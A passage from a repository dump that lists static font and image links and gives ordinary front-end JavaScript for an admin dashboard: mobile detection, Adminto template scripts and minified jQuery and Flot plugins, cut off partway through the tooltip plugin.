https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2 -------------------------------------------------------------------------------- /web/static/google/oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2 -------------------------------------------------------------------------------- /web/static/google/rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2 -------------------------------------------------------------------------------- /web/static/google/tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2 -------------------------------------------------------------------------------- /web/static/images/big/._bg2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/._bg2.jpg -------------------------------------------------------------------------------- /web/static/images/big/bg3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/bg3.jpg -------------------------------------------------------------------------------- /web/static/images/big/bg4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/bg4.jpg -------------------------------------------------------------------------------- /web/static/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/favicon.ico -------------------------------------------------------------------------------- /web/static/images/multiple-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/multiple-arrow.png -------------------------------------------------------------------------------- /web/static/js/detect.js: -------------------------------------------------------------------------------- 1 | /** 2 | * jQuery.browser.mobile (http://detectmobilebrowser.com/) 3 | * 4 | * jQuery.browser.mobile will be true if the browser is a mobile device 5 | * 6 | **/ 7 | (function(a){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); -------------------------------------------------------------------------------- /web/static/js/jquery.app.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Theme: Adminto Admin Template 3 | * Author: Coderthemes 4 | * Module/App: Main Js 5 | */ 6 | 7 | 8 | !function($) { 9 | "use strict"; 10 | 11 | var Navbar = function() {}; 12 | 13 | //navbar - topbar 14 | Navbar.prototype.init = function () { 15 | //toggle 16 | $('.navbar-toggle').on('click', function (event) { 17 | $(this).toggleClass('open'); 18 | $('#navigation').slideToggle(400); 19 | $('.cart, .search').removeClass('open'); 20 | }); 21 | 22 | $('.navigation-menu>li').slice(-1).addClass('last-elements'); 23 | 24 | $('.navigation-menu li.has-submenu a[href="#"]').on('click', function (e) { 25 | if ($(window).width() < 992) { 26 | e.preventDefault(); 27 | $(this).parent('li').toggleClass('open').find('.submenu:first').toggleClass('open'); 28 | } 29 | }); 30 | 31 | $(".right-bar-toggle").click(function(){ 32 | $(".right-bar").toggle(); 33 | $('.wrapper').toggleClass('right-bar-enabled'); 34 | }); 35 | }, 36 | //init 37 | $.Navbar = new Navbar, $.Navbar.Constructor = Navbar 38 | }(window.jQuery), 39 | 40 | //initializing 41 | function($) { 42 | "use strict"; 43 | $.Navbar.init() 44 | }(window.jQuery); 45 | 46 | -------------------------------------------------------------------------------- /web/static/js/jquery.core.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Theme: Adminto Admin Template 3 | * Author: Coderthemes 4 | * Module/App: Core js 5 | */ 6 | 7 | 8 | //portlets 9 | !function($) { 10 | "use strict"; 11 | 12 | /** 13 | Portlet Widget 14 | */ 15 | var Portlet = function() { 16 | this.$body = $("body"), 17 | this.$portletIdentifier = ".portlet", 18 | this.$portletCloser = '.portlet a[data-toggle="remove"]', 19 | this.$portletRefresher = '.portlet a[data-toggle="reload"]' 20 | }; 21 | 22 | //on init 23 | Portlet.prototype.init = function() { 24 | // Panel closest 25 | var $this = this; 26 | $(document).on("click",this.$portletCloser, function (ev) { 27 | ev.preventDefault(); 28 | var $portlet = $(this).closest($this.$portletIdentifier); 29 | var $portlet_parent = $portlet.parent(); 30 | 31 | 32 | $portlet.slideUp("slow", function() { 33 | $(this).remove(); 34 | }); 35 | if ($portlet_parent.children().length == 0) { 36 | $portlet_parent.slideUp("slow", function() { 37 | $(this).remove(); 38 | }); 39 | } 40 | }); 41 | 42 | // Panel Reload 43 | $(document).on("click",this.$portletRefresher, function (ev) { 44 | ev.preventDefault(); 45 | var $portlet = $(this).closest($this.$portletIdentifier); 46 | // This is just a simulation, nothing is going to be reloaded 47 | $portlet.append('
'); 48 | var $pd = $portlet.find('.panel-disabled'); 49 | setTimeout(function () { 50 | $pd.fadeOut('fast', function () { 51 | $pd.remove(); 52 | }); 53 | }, 500 + 300 * (Math.random() * 5)); 54 | }); 55 | }, 56 | // 57 | $.Portlet = new Portlet, $.Portlet.Constructor = Portlet 58 | 59 | }(window.jQuery), 60 | 61 | 62 | 63 | /** 64 | * Components 65 | */ 66 | function($) { 67 | "use strict"; 68 | 69 | var Components = function() {}; 70 | 71 | //initializing tooltip 72 | Components.prototype.initTooltipPlugin = function() { 73 | $.fn.tooltip && $('[data-toggle="tooltip"]').tooltip() 74 | }, 75 | 76 | //initializing popover 77 | Components.prototype.initPopoverPlugin = function() { 78 | $.fn.popover && $('[data-toggle="popover"]').popover() 79 | }, 80 | 81 | //initializing custom modal 82 | Components.prototype.initCustomModalPlugin = function() { 83 | $('[data-plugin="custommodal"]').on('click', function(e) { 84 | Custombox.open({ 85 | target: $(this).attr("href"), 86 | effect: $(this).attr("data-animation"), 87 | overlaySpeed: $(this).attr("data-overlaySpeed"), 88 | overlayColor: $(this).attr("data-overlayColor") 89 | }); 90 | e.preventDefault(); 91 | }); 92 | }, 93 | 94 | //initializing nicescroll 95 | Components.prototype.initNiceScrollPlugin = function() { 96 | //You can change the color of scroll bar here 97 | $.fn.niceScroll && $(".nicescroll").niceScroll({ cursorcolor: '#98a6ad',cursorwidth:'6px', cursorborderradius: '5px'}); 98 | }, 99 | 100 | //range slider 101 | Components.prototype.initRangeSlider = function() { 102 | $.fn.slider && $('[data-plugin="range-slider"]').slider({}); 103 | }, 104 | 105 | /* ------------- 106 | * Form related controls 107 | */ 108 | //switch 109 | Components.prototype.initSwitchery = function() { 110 | $('[data-plugin="switchery"]').each(function (idx, obj) { 111 | new Switchery($(this)[0], $(this).data()); 112 | }); 113 | }, 114 | //multiselect 115 | Components.prototype.initMultiSelect = function() { 116 | if($('[data-plugin="multiselect"]').length > 0) 117 | $('[data-plugin="multiselect"]').multiSelect($(this).data()); 118 | }, 119 | 120 | /* ------------- 121 | * small charts related widgets 122 | */ 123 | //peity charts 124 | Components.prototype.initPeityCharts = function() { 125 | $('[data-plugin="peity-pie"]').each(function(idx, obj) { 126 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 127 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 128 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 129 | $(this).peity("pie", { 130 | fill: colors, 131 | width: width, 132 | height: height 133 | }); 134 | }); 135 | //donut 136 | $('[data-plugin="peity-donut"]').each(function(idx, obj) { 137 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 138 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 139 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 140 | $(this).peity("donut", { 141 | fill: colors, 142 | width: width, 143 | height: height 144 | }); 145 | }); 146 | 147 | $('[data-plugin="peity-donut-alt"]').each(function(idx, obj) { 148 | $(this).peity("donut"); 149 | }); 150 | 151 | // line 152 | $('[data-plugin="peity-line"]').each(function(idx, obj) { 153 | $(this).peity("line", $(this).data()); 154 | }); 155 | 156 | // bar 157 | $('[data-plugin="peity-bar"]').each(function(idx, obj) { 158 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[]; 159 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20 160 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20 161 | $(this).peity("bar", { 162 | fill: colors, 163 | width: width, 164 | height: height 165 | }); 166 | }); 167 | }, 168 | Components.prototype.initKnob = function() { 169 | $('[data-plugin="knob"]').each(function(idx, obj) { 170 | $(this).knob(); 171 | }); 172 | }, 173 | 174 | Components.prototype.initCircliful = function() { 175 | $('[data-plugin="circliful"]').each(function(idx, obj) { 176 | $(this).circliful(); 177 | }); 178 | }, 179 | 180 | Components.prototype.initCounterUp = function() { 181 | var delay = $(this).attr('data-delay')?$(this).attr('data-delay'):100; //default is 100 182 | var time = $(this).attr('data-time')?$(this).attr('data-time'):1200; //default is 1200 183 | $('[data-plugin="counterup"]').each(function(idx, obj) { 184 | $(this).counterUp({ 185 | delay: 100, 186 | time: 1200 187 | }); 188 | }); 189 | }, 190 | 191 | 192 | //initilizing 193 | Components.prototype.init = function() { 194 | var $this = this; 195 | this.initTooltipPlugin(), 196 | this.initPopoverPlugin(), 197 | this.initNiceScrollPlugin(), 198 | this.initCustomModalPlugin(), 199 | this.initRangeSlider(), 200 | this.initSwitchery(), 201 | this.initMultiSelect(), 202 | this.initPeityCharts(), 203 | this.initKnob(), 204 | this.initCircliful(), 205 | this.initCounterUp(), 206 | //creating portles 207 | $.Portlet.init(); 208 | }, 209 | 210 | $.Components = new Components, $.Components.Constructor = Components 211 | 212 | }(window.jQuery), 213 | //initializing main application module 214 | function($) { 215 | "use strict"; 216 | $.Components.init(); 217 | }(window.jQuery); 218 | 219 | 220 | 221 | 222 | -------------------------------------------------------------------------------- /web/static/js/jquery.counterup.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * jquery.counterup.js 1.0 3 | * 4 | * Copyright 2013, Benjamin Intal http://gambit.ph @bfintal 5 | * Released under the GPL v2 License 6 | * 7 | * Date: Nov 26, 2013 8 | */(function(e){"use strict";e.fn.counterUp=function(t){var n=e.extend({time:400,delay:10},t);return this.each(function(){var t=e(this),r=n,i=function(){var e=[],n=r.time/r.delay,i=t.text(),s=/[0-9]+,[0-9]+/.test(i);i=i.replace(/,/g,"");var o=/^[0-9]+$/.test(i),u=/^[0-9]+\.[0-9]+$/.test(i),a=u?(i.split(".")[1]||[]).length:0;for(var f=n;f>=1;f--){var l=parseInt(i/n*f);u&&(l=parseFloat(i/n*f).toFixed(a));if(s)while(/(\d+)(\d{3})/.test(l.toString()))l=l.toString().replace(/(\d+)(\d{3})/,"$1,$2");e.unshift(l)}t.data("counterup-nums",e);t.text("0");var c=function(){t.text(t.data("counterup-nums").shift());if(t.data("counterup-nums").length)setTimeout(t.data("counterup-func"),r.delay);else{delete t.data("counterup-nums");t.data("counterup-nums",null);t.data("counterup-func",null)}};t.data("counterup-func",c);setTimeout(t.data("counterup-func"),r.delay)};t.waypoint(i,{offset:"100%",triggerOnce:!0})})}})(jQuery); -------------------------------------------------------------------------------- /web/static/js/jquery.scrollTo.min.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright (c) 2007-2013 Ariel Flesler - afleslergmailcom | http://flesler.blogspot.com 3 | * Dual licensed under MIT and GPL. 4 | * @author Ariel Flesler 5 | * @version 1.4.6 6 | */ 7 | ;(function($){var h=$.scrollTo=function(a,b,c){$(window).scrollTo(a,b,c)};h.defaults={axis:'xy',duration:parseFloat($.fn.jquery)>=1.3?0:1,limit:true};h.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(e,f,g){if(typeof f=='object'){g=f;f=0}if(typeof g=='function')g={onAfter:g};if(e=='max')e=9e9;g=$.extend({},h.defaults,g);f=f||g.duration;g.queue=g.queue&&g.axis.length>1;if(g.queue)f/=2;g.offset=both(g.offset);g.over=both(g.over);return this._scrollable().each(function(){if(e==null)return;var d=this,$elem=$(d),targ=e,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\d+(\.\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}$.each(g.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=h.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(g.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=g.offset[pos]||0;if(g.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*g.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(g.limit&&/^\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&g.queue){if(old!=attr[key])animate(g.onAfterFirst);delete attr[key]}});animate(g.onAfter);function animate(a){$elem.animate(attr,f,g.easing,a&&function(){a.call(this,targ,g)})}}).end()};h.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return typeof a=='object'?a:{top:a,left:a}}})(jQuery); 8 | -------------------------------------------------------------------------------- /web/static/js/module.min.js: -------------------------------------------------------------------------------- 1 | !function(a,b){"function"==typeof define&&define.amd?define("simple-module",["jquery"],function(c){return a.returnExportsGlobal=b(c)}):"object"==typeof exports?module.exports=b(require("jquery")):a.SimpleModule=b(jQuery)}(this,function(a){var b,c=[].slice;return b=function(){function b(b){var c,d,e,f,g,h,i;if(this.opts=a.extend({},this.opts,b),(g=this.constructor)._connectedClasses||(g._connectedClasses=[]),e=function(){var a,b,d,e;for(d=this.constructor._connectedClasses,e=[],a=0,b=d.length;b>a;a++)c=d[a],f=c.pluginName.charAt(0).toLowerCase()+c.pluginName.slice(1),c.prototype._connected&&(c.prototype._module=this),e.push(this[f]=new c);return e}.call(this),this._connected)this.opts=a.extend({},this.opts,this._module.opts);else for(this._init(),h=0,i=e.length;i>h;h++)d=e[h],"function"==typeof d._init&&d._init();this.trigger("initialized")}return b.extend=function(a){var b,c,d;if(null!=a&&"object"==typeof a){for(b in a)c=a[b],"included"!==b&&"extended"!==b&&(this[b]=c);return null!=(d=a.extended)?d.call(this):void 0}},b.include=function(a){var b,c,d;if(null!=a&&"object"==typeof a){for(b in a)c=a[b],"included"!==b&&"extended"!==b&&(this.prototype[b]=c);return null!=(d=a.included)?d.call(this):void 0}},b.connect=function(a){if("function"==typeof a){if(!a.pluginName)throw new Error("Module.connect: cannot connect plugin without pluginName");return a.prototype._connected=!0,this._connectedClasses||(this._connectedClasses=[]),this._connectedClasses.push(a),a.pluginName?this[a.pluginName]=a:void 0}},b.prototype.opts={},b.prototype._init=function(){},b.prototype.on=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).on.apply(d,b),this},b.prototype.one=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).one.apply(d,b),this},b.prototype.off=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).off.apply(d,b),this},b.prototype.trigger=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).trigger.apply(d,b),this},b.prototype.triggerHandler=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).triggerHandler.apply(d,b)},b.prototype._t=function(){var a,b;return a=1<=arguments.length?c.call(arguments,0):[],(b=this.constructor)._t.apply(b,a)},b._t=function(){var a,b,d,e;return b=arguments[0],a=2<=arguments.length?c.call(arguments,1):[],d=(null!=(e=this.i18n[this.locale])?e[b]:void 0)||"",a.length>0?(d=d.replace(/([^%]|^)%(?:(\d+)\$)?s/g,function(b,c,d){return d?c+a[parseInt(d)-1]:c+a.shift()}),d.replace(/%%s/g,"%s")):d},b.i18n={"zh-CN":{}},b.locale="zh-CN",b}()}); -------------------------------------------------------------------------------- /web/static/js/npm.js: -------------------------------------------------------------------------------- 1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. 2 | require('../../js/transition.js') 3 | require('../../js/alert.js') 4 | require('../../js/button.js') 5 | require('../../js/carousel.js') 6 | require('../../js/collapse.js') 7 | require('../../js/dropdown.js') 8 | require('../../js/modal.js') 9 | require('../../js/tooltip.js') 10 | require('../../js/popover.js') 11 | require('../../js/scrollspy.js') 12 | require('../../js/tab.js') 13 | require('../../js/affix.js') -------------------------------------------------------------------------------- /web/static/js/plugins/flot/jquery.flot.resize.js: -------------------------------------------------------------------------------- 1 | /* Flot plugin for automatically redrawing plots as the placeholder resizes. 2 | 3 | Copyright (c) 2007-2013 IOLA and Ole Laursen. 4 | Licensed under the MIT license. 5 | 6 | It works by listening for changes on the placeholder div (through the jQuery 7 | resize event plugin) - if the size changes, it will redraw the plot. 8 | 9 | There are no options. If you need to disable the plugin for some plots, you 10 | can just fix the size of their placeholders. 11 | 12 | */ 13 | 14 | /* Inline dependency: 15 | * jQuery resize event - v1.1 - 3/14/2010 16 | * http://benalman.com/projects/jquery-resize-plugin/ 17 | * 18 | * Copyright (c) 2010 "Cowboy" Ben Alman 19 | * Dual licensed under the MIT and GPL licenses. 20 | * http://benalman.com/about/license/ 21 | */ 22 | 23 | (function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k="setTimeout",j="resize",d=j+"-special-event",b="delay",f="throttleWindow";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this); 24 | 25 | (function ($) { 26 | var options = { }; // no options 27 | 28 | function init(plot) { 29 | function onResize() { 30 | var placeholder = plot.getPlaceholder(); 31 | 32 | // somebody might have hidden us and we can't plot 33 | // when we don't have the dimensions 34 | if (placeholder.width() == 0 || placeholder.height() == 0) 35 | return; 36 | 37 | plot.resize(); 38 | plot.setupGrid(); 39 | plot.draw(); 40 | } 41 | 42 | function bindEvents(plot, eventHolder) { 43 | plot.getPlaceholder().resize(onResize); 44 | } 45 | 46 | function shutdown(plot, eventHolder) { 47 | plot.getPlaceholder().unbind("resize", onResize); 48 | } 49 | 50 | plot.hooks.bindEvents.push(bindEvents); 51 | plot.hooks.shutdown.push(shutdown); 52 | } 53 | 54 | $.plot.plugins.push({ 55 | init: init, 56 | options: options, 57 | name: 'resize', 58 | version: '1.0' 59 | }); 60 | })(jQuery); -------------------------------------------------------------------------------- /web/static/js/plugins/flot/jquery.flot.tooltip.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | * jquery.flot.tooltip 3 | * 4 | * description: easy-to-use tooltips for Flot charts 5 | * version: 0.6.2 6 | * author: Krzysztof Urbas @krzysu [myviews.pl] 7 | * website: https://github.com/krzysu/flot.tooltip 8 | * 9 | * build on 2013-09-30 10 | * released under MIT License, 2012 11 | */ 12 | (function(t){var o={tooltip:!1,tooltipOpts:{content:"%s | X: %x | Y: %y",xDateFormat:null,yDateFormat:null,shifts:{x:10,y:20},defaultTheme:!0,onHover:function(){}}},i=function(t){this.tipPosition={x:0,y:0},this.init(t)};i.prototype.init=function(o){function i(t){var o={};o.x=t.pageX,o.y=t.pageY,s.updateTooltipPosition(o)}function e(t,o,i){var e=s.getDomElement();if(i){var n;n=s.stringFormat(s.tooltipOptions.content,i),e.html(n),s.updateTooltipPosition({x:o.pageX,y:o.pageY}),e.css({left:s.tipPosition.x+s.tooltipOptions.shifts.x,top:s.tipPosition.y+s.tooltipOptions.shifts.y}).show(),"function"==typeof s.tooltipOptions.onHover&&s.tooltipOptions.onHover(i,e)}else e.hide().html("")}var s=this;o.hooks.bindEvents.push(function(o,n){s.plotOptions=o.getOptions(),s.plotOptions.tooltip!==!1&&void 0!==s.plotOptions.tooltip&&(s.tooltipOptions=s.plotOptions.tooltipOpts,s.getDomElement(),t(o.getPlaceholder()).bind("plothover",e),t(n).bind("mousemove",i))}),o.hooks.shutdown.push(function(o,s){t(o.getPlaceholder()).unbind("plothover",e),t(s).unbind("mousemove",i)})},i.prototype.getDomElement=function(){var o;return t("#flotTip").length>0?o=t("#flotTip"):(o=t("
").attr("id","flotTip"),o.appendTo("body").hide().css({position:"absolute"}),this.tooltipOptions.defaultTheme&&o.css({background:"#fff","z-index":"100",padding:"0.4em 0.6em","border-radius":"0.5em","font-size":"0.8em",border:"1px solid #111",display:"none","white-space":"nowrap"})),o},i.prototype.updateTooltipPosition=function(o){var i=t("#flotTip").outerWidth()+this.tooltipOptions.shifts.x,e=t("#flotTip").outerHeight()+this.tooltipOptions.shifts.y;o.x-t(window).scrollLeft()>t(window).innerWidth()-i&&(o.x-=i),o.y-t(window).scrollTop()>t(window).innerHeight()-e&&(o.y-=e),this.tipPosition.x=o.x,this.tipPosition.y=o.y},i.prototype.stringFormat=function(t,o){var i=/%p\.{0,1}(\d{0,})/,e=/%s/,s=/%x\.{0,1}(?:\d{0,})/,n=/%y\.{0,1}(?:\d{0,})/;return"function"==typeof t&&(t=t(o.series.label,o.series.data[o.dataIndex][0],o.series.data[o.dataIndex][1],o)),o.series.percent!==void 0&&(t=this.adjustValPrecision(i,t,o.series.percent)),o.series.label!==void 